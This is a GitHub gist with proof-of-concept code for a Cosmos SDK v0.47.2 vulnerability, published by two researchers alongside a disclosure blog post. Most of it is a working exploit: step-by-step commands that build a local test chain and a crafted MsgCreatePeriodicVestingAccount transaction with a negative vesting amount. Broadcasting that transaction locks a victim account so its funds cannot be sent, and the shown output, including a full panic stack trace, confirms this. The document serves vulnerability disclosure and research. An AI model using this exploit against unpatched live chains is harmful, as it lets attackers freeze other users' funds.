Skip to content

Instantly share code, notes, and snippets.

@dimakogan
Last active July 13, 2023 07:13
Show Gist options
  • Save dimakogan/05cde1fd7468f6454f2c87f619507aa0 to your computer and use it in GitHub Desktop.
Save dimakogan/05cde1fd7468f6454f2c87f619507aa0 to your computer and use it in GitHub Desktop.
Proof-of-concept code for Cosmos SDK vulnerability

Proof-of-concept code for Cosmos SDK vulnerability

by Yaar Hahn and Dima Kogan

See our blog post for full details.

Our POC uses the simapp’s simd binary running locally. The main steps are:

  1. Start the chain.
  2. Fund the attacker’s account with tokens.
  3. Exploiter sends a MsgCreatePeriodicVestingAccount and creates a new account.
  4. Victim transfers additional funds into their new account.
  5. Victim tries to withdraw their (unlocked) funds from their account and fails.

Detailed steps:

  1. Build simd
    git clone git@github.com:cosmos/cosmos-sdk.git
    cd cosmos-sdk
    git checkout v0.47.2
    make build
    cd build
  2. Setup simd according to cosmos-sdk's README :
    ./simd tendermint unsafe-reset-all
    ./simd init test --chain-id localtest
  3. Add attacker account
    echo "bottom loan skill merry east cradle onion journey palm apology verb edit desert impose absurd oil bubble sweet glove shallow size build burst effort" | ./simd keys add attacker --recover --keyring-backend test
    The expected output is:
    - address: cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq
      name: attacker
      pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"A2MR6q+pOpLtdxh0tHHe2JrEY2KOcvRogtLxHDHzJvOh"}'
      type: local
  4. Add victim account keys (only generated offline)
    echo "notice oak worry limit wrap speak medal online prefer cluster roof addict wrist behave treat actual wasp year salad speed social layer crew genius" | ./simd keys add victim --recover --keyring-backend test
    The expected output is:
    - name: victim
      type: local
      address: cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
      pubkey: '{"@type":"/cosmos.crypto.secp256k1.PubKey","key":"AuwYyCUBxQiBGSUWebU46c+OrlApVsyGLHd4qhSDZeiG"}'
      mnemonic: ""
  5. Run the chain
    ./simd genesis add-genesis-account attacker 10000000000000000000000000stake --keyring-backend test
    ./simd genesis gentx attacker 1000000000stake --keyring-backend test --chain-id localtest
    ./simd genesis collect-gentxs
    ./simd start
  6. In a separate terminal session, create a file with the malicious transaction. Note that we use a pre-generated transaction, as the CLI’s client code verifies that the amounts are not negative (unlike the code of the actual node, which does not validate the incoming message).
    cat >tx.json <<EOL
    {
        "body": {
            "messages": [
                {
                    "@type": "/cosmos.vesting.v1beta1.MsgCreatePeriodicVestingAccount",
                    "from_address": "cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq",
                    "to_address": "cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz",
                    "start_time": "1680000000",
                    "vesting_periods": [
                        {
                            "length": "1",
                            "amount": [
                                {
                                    "denom": "stake",
                                    "amount": "2"
                                }
                            ]
                        },
                        {
                            "length": "1000000000",
                            "amount": [
                                {
                                    "denom": "stake",
                                    "amount": "-1"
                                }
                            ]
                        }
                    ]
                }
            ],
            "memo": "",
            "timeout_height": "0",
            "extension_options": [],
            "non_critical_extension_options": []
        },
        "auth_info": {
            "signer_infos": [],
            "fee": {
                "amount": [
                    {
                        "denom": "stake",
                        "amount": "1"
                    }
                ],
                "gas_limit": "200000",
                "payer": "",
                "granter": ""
            },
            "tip": null
        },
        "signatures": []
    }
    EOL
  7. Sign and broadcast the transaction
    ./simd tx sign tx.json --from cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq --keyring-backend test --chain-id localtest --fees 1000stake --output-document tx.signed.json
    ./simd tx broadcast tx.signed.json
  8. Check the new account is valid
    ./simd query account cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
    Expected output:
    '@type': /cosmos.vesting.v1beta1.PeriodicVestingAccount
    base_vesting_account:
    base_account:
        account_number: "7"
        address: cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
        pub_key: null
        sequence: "0"
    delegated_free: []
    delegated_vesting: []
    end_time: "2680000001"
    original_vesting:
    - amount: "1"
        denom: stake
    start_time: "1680000000"
    vesting_periods:
    - amount:
    - amount: "2"
        denom: stake
    length: "1"
    - amount:
    - amount: "-1"
        denom: stake
    length: "1000000000"
  9. Fund the account with additional funds
    ./simd tx bank send cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz 10000stake --keyring-backend test --chain-id localtest --fees 1000stake -y
  10. Verify balances
    ./simd query bank balances cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz
    Expected Output:
    balances:
    - amount: "10001"
      denom: stake
    pagination:
      next_key: null
      total: "0"
  11. Victim tries to send funds - and fails
    ./simd tx bank send cosmos1cyyzpxplxdzkeea7kwsydadg87357qnalx9dqz cosmos12smx2wdlyttvyzvzg54y2vnqwq2qjate5jdmpq 1stake --keyring-backend test --chain-id localtest --fees 1000stake -y
    Expected output:
    stake --keyring-backend test --chain-id localtest --fees 1000stake -y
    code: 111222
    codespace: undefined
    data: ""
    events: []
    gas_used: "0"
    gas_wanted: "0"
    height: "0"
    info: ""
    logs: []
    raw_log: |"recovered: negative coin amount
        stack:
        goroutine 550 [running]:
        runtime/debug.Stack()
            runtime/debug/stack.go:24 +0x64
        github.com/cosmos/cosmos-sdk/baseapp.newDefaultRecoveryMiddleware.func1({0x102946360, 0x102d43338})
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:71 +0x24
        github.com/cosmos/cosmos-sdk/baseapp.newRecoveryMiddleware.func1({0x102946360?, 0x102d43338?})
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:39 +0x34
        github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x102946360, 0x102d43338}, 0x14000472f00?)
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:28 +0x38
        github.com/cosmos/cosmos-sdk/baseapp.processRecovery({0x102946360, 0x102d43338}, 0x102d7df70?)
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/recovery.go:33 +0x60
        github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx.func1()
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/baseapp.go:632 +0xa8
        panic({0x102946360, 0x102d43338})
            runtime/panic.go:890 +0x248
        github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle.func1()
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/setup.go:57 +0x1b4
        panic({0x102946360, 0x102d43338})
            runtime/panic.go:884 +0x1f4
        github.com/cosmos/cosmos-sdk/types.Coins.Sub(...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/coin.go:381
        github.com/cosmos/cosmos-sdk/x/auth/vesting/types.PeriodicVestingAccount.GetVestingCoins({0x14003842a20, 0x6422c400, {0x14000a35800, 0x2, 0x2}}, {0xaa27c?, 0x3e8?, 0x0?})
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/vesting/types/vesting_account.go:382 +0x88
        github.com/cosmos/cosmos-sdk/x/auth/vesting/types.PeriodicVestingAccount.LockedCoins({0x14003842a20, 0x6422c400, {0x14000a35800, 0x2, 0x2}}, {0x1400141aea0?, 0x12c055af8?, 0x0?})
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/vesting/types/vesting_account.go:388 +0x3c
        github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseViewKeeper.LockedCoins({{_, _}, {_, _}, {_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/view.go:173 +0xe4
        github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.subUnlockedCoins({{{_, _}, {_, _}, {_, _}}, {_, _}, {_, _}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/send.go:239 +0xb4
        github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseSendKeeper.SendCoins({{{_, _}, {_, _}, {_, _}}, {_, _}, {_, _}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/send.go:193 +0xf8
        github.com/cosmos/cosmos-sdk/x/bank/keeper.BaseKeeper.SendCoinsFromAccountToModule({{{{0x12c055af8, 0x1400141a3d0}, {0x102d53060, 0x14001480450}, {0x12c055b68, 0x140001df200}}, {0x12c055af8, 0x1400141a3d0}, {0x12c055b68, 0x140001df200}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/bank/keeper/keeper.go:359 +0x164
        github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFees({_, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:130 +0x150
        github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFeeDecorator.checkDeductFee({{_, _}, {_, _}, {_, _}, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:106 +0x470
        github.com/cosmos/cosmos-sdk/x/auth/ante.DeductFeeDecorator.AnteHandle({{_, _}, {_, _}, {_, _}, _}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/fee.go:61 +0x1b0
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.ConsumeTxSizeGasDecorator.AnteHandle({{_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:143 +0x48c
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateMemoDecorator.AnteHandle({{_, _}}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:67 +0x14c
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.TxTimeoutHeightDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:206 +0x200
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.ValidateBasicDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/basic.go:34 +0xfc
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.RejectExtensionOptionsDecorator.AnteHandle({_}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/ext.go:52 +0xd8
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/x/auth/ante.SetUpContextDecorator.AnteHandle({}, {{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/x/auth/ante/setup.go:62 +0x440
        github.com/cosmos/cosmos-sdk/types.ChainAnteDecorators.func1({{0x102d6bdf0, 0x14000058110}, {0x102d7df70, 0x14000a35780}, {{0xb, 0x0}, {0x14004631010, 0x9}, 0x23, {0x149d9680, ...}, ...}, ...}, ...)
            github.com/cosmos/cosmos-sdk@v0.47.2/types/handler.go:49 +0xe4
        github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).runTx(0x140006a90e0, 0x0, {0x140001c2a00, 0x139, 0x13b})
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/baseapp.go:687 +0x3d4
        github.com/cosmos/cosmos-sdk/baseapp.(*BaseApp).CheckTx(0x140006a90e0, {{0x140001c2a00?, 0x40?, 0x41?}, 0x3fbaae0?})
            github.com/cosmos/cosmos-sdk@v0.47.2/baseapp/abci.go:370 +0x78
        github.com/cometbft/cometbft/abci/client.(*localClient).CheckTxAsync(0x14000d52540, {{0x140001c2a00?, 0xc82e158a7027583f?, 0xb08d68483f56606a?}, 0x1f81b30?})
            github.com/cometbft/cometbft@v0.37.1/abci/client/local_client.go:93 +0xf4
        github.com/cometbft/cometbft/proxy.(*appConnMempool).CheckTxAsync(0x14000ef05d0, {{0x140001c2a00?, 0x140040329b8?, 0x10047a394?}, 0x40329c8?})
            github.com/cometbft/cometbft@v0.37.1/proxy/app_conn.go:154 +0xf8
        github.com/cometbft/cometbft/mempool/v0.(*CListMempool).CheckTx(0x140003a69c0, {0x140001c2a00, 0x139, 0x13b}, 0x0?, {0x0?, {0x0?, 0x14000454200?}})
            github.com/cometbft/cometbft@v0.37.1/mempool/v0/clist_mempool.go:254 +0x260
        github.com/cometbft/cometbft/rpc/core.BroadcastTxSync(0x140046443e0, {0x140001c2a00, 0x139, 0x13b})
            github.com/cometbft/cometbft@v0.37.1/rpc/core/mempool.go:35 +0xc8
        reflect.Value.call({0x1029cd2e0?, 0x102d3beb8?, 0x14004033278?}, {0x101d2b3ee, 0x4}, {0x14001f81b00, 0x2, 0x10121c5fc?})
            reflect/value.go:586 +0x838
        reflect.Value.Call({0x1029cd2e0?, 0x102d3beb8?, 0x1ad?}, {0x14001f81b00?, 0x102d2f640?, 0x14001f88d80?})
            reflect/value.go:370 +0x90
        github.com/cometbft/cometbft/rpc/jsonrpc/server.makeJSONRPCHandler.func1({0x102d590e0, 0x140006b8450}, 0x1400062e300)
            github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_json_handler.go:108 +0xc38
        github.com/cometbft/cometbft/rpc/jsonrpc/server.handleInvalidJSONRPCPaths.func1({0x102d590e0?, 0x140006b8450?}, 0x12c1ede90?)
            github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_json_handler.go:140 +0x70
        net/http.HandlerFunc.ServeHTTP(0x14000a35600?, {0x102d590e0?, 0x140006b8450?}, 0x10121f6c8?)
            net/http/server.go:2122 +0x38
        net/http.(*ServeMux).ServeHTTP(0x160?, {0x102d590e0, 0x140006b8450}, 0x1400062e300)
            net/http/server.go:2500 +0x13c
        github.com/cometbft/cometbft/rpc/jsonrpc/server.maxBytesHandler.ServeHTTP({{0x102d4eb20?, 0x14000fef480?}, 0x10?}, {0x102d590e0?, 0x140006b8450}, 0x1400062e300)
            github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_server.go:256 +0x13c
        github.com/cometbft/cometbft/rpc/jsonrpc/server.RecoverAndLogHandler.func1({0x102d66f70?, 0x1400409a000}, 0x1400062e300)
            github.com/cometbft/cometbft@v0.37.1/rpc/jsonrpc/server/http_server.go:229 +0x2a8
        net/http.HandlerFunc.ServeHTTP(0x0?, {0x102d66f70?, 0x1400409a000?}, 0x100820e80?)
            net/http/server.go:2122 +0x38
        net/http.serverHandler.ServeHTTP({0x102d54690?}, {0x102d66f70, 0x1400409a000}, 0x1400062e300)
            net/http/server.go:2936 +0x2c0
        net/http.(*conn).serve(0x14000cd1950, {0x102d6be60, 0x14000e867b0})
            net/http/server.go:1995 +0x518
        created by net/http.(*Server).Serve
            net/http/server.go:3089 +0x4e8
        : panic"
    timestamp: ""
    tx: null
    txhash: EDED44CB4BE0C398170606EBB8FC5F223F5827708A152EC86A60563F48688DB0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment